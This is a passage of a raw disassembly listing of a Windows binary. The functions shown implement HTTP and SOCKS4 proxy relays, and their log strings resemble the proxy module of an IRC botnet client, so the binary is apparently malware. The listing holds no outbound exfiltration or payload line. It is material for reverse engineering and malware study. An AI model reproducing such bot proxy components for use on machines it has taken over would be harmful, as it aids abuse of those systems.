		call	sub_401226


loc_4292FF:				; CODE XREF: sub_4282C0+191j
					; sub_4282C0+1AAj ...
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226


loc_429310:				; CODE XREF: sub_4282C0+85j
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429339:				; CODE XREF: sub_4282C0+503j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42934B:				; CODE XREF: sub_4282C0+644j
		lea	ecx, [esp+2Ch+arg_9D]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+30h+var_18]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+2Ch+var_18]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+34h+var_18]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_4293A8:				; CODE XREF: sub_4282C0+660j
		mov	edx, [esp+38h+arg_D0]
		lea	ecx, [esp+38h+arg_91]
		push	edx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_4293F2:				; CODE XREF: sub_4282C0+711j
					; sub_4282C0+719j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_42940D:				; CODE XREF: sub_4282C0+5EEj
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42941F:				; CODE XREF: sub_4282C0+73Fj
		lea	ecx, [esp+48h+arg_3C]
		mov	byte ptr [esp+48h+arg_5454], 0Dh
		call	sub_401226
		lea	ecx, [esp+48h+arg_14]
		mov	byte ptr [esp+48h+arg_5454], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+48h+arg_5454], 2
		call	sub_401226
		lea	ecx, [esp+48h+var_18]
		mov	byte ptr [esp+48h+arg_5454], 1
		call	sub_401226
		lea	ecx, [esp+48h+var_34]
		mov	byte ptr [esp+48h+arg_5454], 0
		call	sub_401226
		lea	ecx, [esp+48h+arg_6C]
		mov	[esp+48h+arg_5454], ebx
		call	sub_4014B0
		or	esi, 0FFFFFFFFh
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429492:				; CODE XREF: sub_4282C0+D45j
					; sub_4282C0+D4Dj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_4294A8:				; CODE XREF: sub_4282C0+10E3j
					; sub_4282C0+1148j
		call	esi	; closesocket


loc_4294AA:				; CODE XREF: sub_4282C0+1086j
					; sub_4282C0+115Aj
		lea	ecx, [esp+50h+arg_34]
		mov	byte ptr [esp+50h+arg_544C], 0Dh
		call	sub_401226
		lea	ecx, [esp+50h+arg_C]
		mov	byte ptr [esp+50h+arg_544C], 0Ch
		call	sub_401226
		lea	ecx, [esp+50h+var_8]
		mov	byte ptr [esp+50h+arg_544C], 2
		call	sub_401226
		lea	ecx, [esp+50h+var_20]
		mov	byte ptr [esp+50h+arg_544C], 1
		call	sub_401226
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+arg_544C], 0
		call	sub_401226
		lea	ecx, [esp+50h+arg_64]
		mov	[esp+50h+arg_544C], ebx
		call	sub_4014B0
		jmp	loc_4292C4
sub_4282C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4299C0	proc near		; CODE XREF: sub_4018DEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4299C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E15C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4299C0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429A30:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402108
		test	byte ptr [esp+8], 1
		jz	short loc_429A48
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429A48:				; CODE XREF: ___:00429A3Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429A60	proc near		; CODE XREF: sub_402108j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43E15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_429A7B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_429A7B:				; CODE XREF: sub_429A60+12j
		mov	ecx, esi
		call	sub_40179E
		pop	esi
		retn
sub_429A60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429AA0	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_429AC3:				; CODE XREF: sub_429AA0+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_429AEA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_429AC3


loc_429AEA:				; CODE XREF: sub_429AA0+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_429BBC
		push	ebp
		push	esi


loc_429B00:				; CODE XREF: sub_429AA0+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_429B9B
		test	ebp, ebp
		jz	short loc_429B9B
		push	0C3h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_429B46
		mov	ecx, eax
		call	sub_401884
		mov	esi, eax
		jmp	short loc_429B48
; ---------------------------------------------------------------------------


loc_429B46:				; CODE XREF: sub_429AA0+99j
		xor	esi, esi


loc_429B48:				; CODE XREF: sub_429AA0+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FBE
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013D4
		jmp	short loc_429BA6
; ---------------------------------------------------------------------------


loc_429B9B:				; CODE XREF: sub_429AA0+74j
					; sub_429AA0+7Cj
		push	0FAh
		call	near ptr 2811E0Eh
		nop


loc_429BA6:				; CODE XREF: sub_429AA0+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_429B00
		pop	esi
		pop	ebp


loc_429BBC:				; CODE XREF: sub_429AA0+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_429BCE
		push	edi
		call	near ptr 71AB9639h
		nop


loc_429BCE:				; CODE XREF: sub_429AA0+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429AA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429C30	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_429C58
		call	sub_4017E4
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_429C63
; ---------------------------------------------------------------------------


loc_429C58:				; CODE XREF: sub_429C30+19j
		call	sub_4017E4
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_429C63:				; CODE XREF: sub_429C30+26j
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_429C30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429D00	proc near		; CODE XREF: sub_40211Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429D00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E16C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429D00	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429D70:				; CODE XREF: ___:00401870j
					; ___:loc_401B04j
		push	esi
		mov	esi, ecx
		call	sub_401F87
		test	byte ptr [esp+8], 1
		jz	short loc_429D88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429D88:				; CODE XREF: ___:00429D7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429DA0	proc near		; CODE XREF: sub_401F87j
		jmp	sub_40179E
sub_429DA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429DC0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_50FC90
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429E01
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E01:				; CODE XREF: sub_429DC0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_429FEC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429E3E
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E3E:				; CODE XREF: sub_429DC0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_429FEC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_429ED9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0A1h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429ED9:				; CODE XREF: sub_429DC0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_50FC50
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_429F36:				; CODE XREF: sub_429DC0+1AFj
					; sub_429DC0+1FEj ...
		mov	edi, dword_50FC90
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_429FDA
		jge	short loc_429F71
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_429F71
		push	0Ah
		nop
		call	near ptr 2811E0Eh
		jmp	short loc_429F36
; ---------------------------------------------------------------------------


loc_429F71:				; CODE XREF: sub_429DC0+198j
					; sub_429DC0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_429FDA
		jge	short loc_429FC3
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_429FC3
		push	0Ah
		nop
		call	near ptr 2811E0Eh
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FC3:				; CODE XREF: sub_429DC0+1E7j
					; sub_429DC0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		nop
		call	near ptr 71AB428Ah
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FDA:				; CODE XREF: sub_429DC0+192j
					; sub_429DC0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_429FEC:				; CODE XREF: sub_429DC0+46j
					; sub_429DC0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_429DC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A090	proc near		; CODE XREF: sub_40216Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42A090
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E17C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42A090	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A100	proc near		; CODE XREF: ___:00401032j sub_4017A8j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C3A
		test	[esp+4+arg_0], 1
		jz	short loc_42A118
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42A118:				; CODE XREF: sub_42A100+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42A100	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42A130	proc near		; CODE XREF: sub_401C3Aj
		jmp	sub_40179E
sub_42A130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A150	proc near		; CODE XREF: sub_40188Ej

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42A150
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017E4
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42A359
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42A226
		mov	ecx, [esi+9Dh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42A226:				; CODE XREF: sub_42A150+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42A310


loc_42A23C:				; CODE XREF: sub_42A150+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42A260
		push	0FAh
		nop
		call	near ptr 2811E0Eh
		jmp	loc_42A2FC
; ---------------------------------------------------------------------------


loc_42A260:				; CODE XREF: sub_42A150+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42A310
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42A310
		push	0A5h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42A2AE
		mov	ecx, eax
		call	sub_40211C
		mov	edi, eax


loc_42A2AE:				; CODE XREF: sub_42A150+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42A2FC:				; CODE XREF: sub_42A150+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42A23C


loc_42A310:				; CODE XREF: sub_42A150+E6j
					; sub_42A150+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42A324
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42A324:				; CODE XREF: sub_42A150+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch


loc_42A359:				; CODE XREF: sub_42A150+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42A150	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A400	proc near		; CODE XREF: sub_40174Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42A421
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42A421:				; CODE XREF: sub_42A400+Dj
		xor	al, al
		retn	8
sub_42A400	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A440	proc near		; CODE XREF: sub_4020C2j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42A461:				; CODE XREF: sub_42A440+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A47A:				; CODE XREF: sub_42A440+45j
		cmp	[ecx], ebx
		jz	short loc_42A487
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A47A


loc_42A487:				; CODE XREF: sub_42A440+3Cj
		cmp	eax, 1
		jnz	short loc_42A498
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42A498:				; CODE XREF: sub_42A440+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jbe	short loc_42A523
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A523
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42A4CC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42A4CE
; ---------------------------------------------------------------------------


loc_42A4CC:				; CODE XREF: sub_42A440+84j
		mov	eax, ebx


loc_42A4CE:				; CODE XREF: sub_42A440+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42A572
		test	edi, edi
		jz	short loc_42A572
		jbe	short loc_42A51C


loc_42A4FB:				; CODE XREF: sub_42A440+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A572
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42A4FB


loc_42A51C:				; CODE XREF: sub_42A440+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42A523:				; CODE XREF: sub_42A440+70j
					; sub_42A440+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A535:				; CODE XREF: sub_42A440+100j
		cmp	[ecx], ebx
		jz	short loc_42A542
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A535


loc_42A542:				; CODE XREF: sub_42A440+F7j
		cmp	eax, 1
		jnz	short loc_42A554
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42A554:				; CODE XREF: sub_42A440+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jle	loc_42A461


loc_42A572:				; CODE XREF: sub_42A440+B3j
					; sub_42A440+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42A440	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A5F0	proc near		; CODE XREF: sub_401C1Cj

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
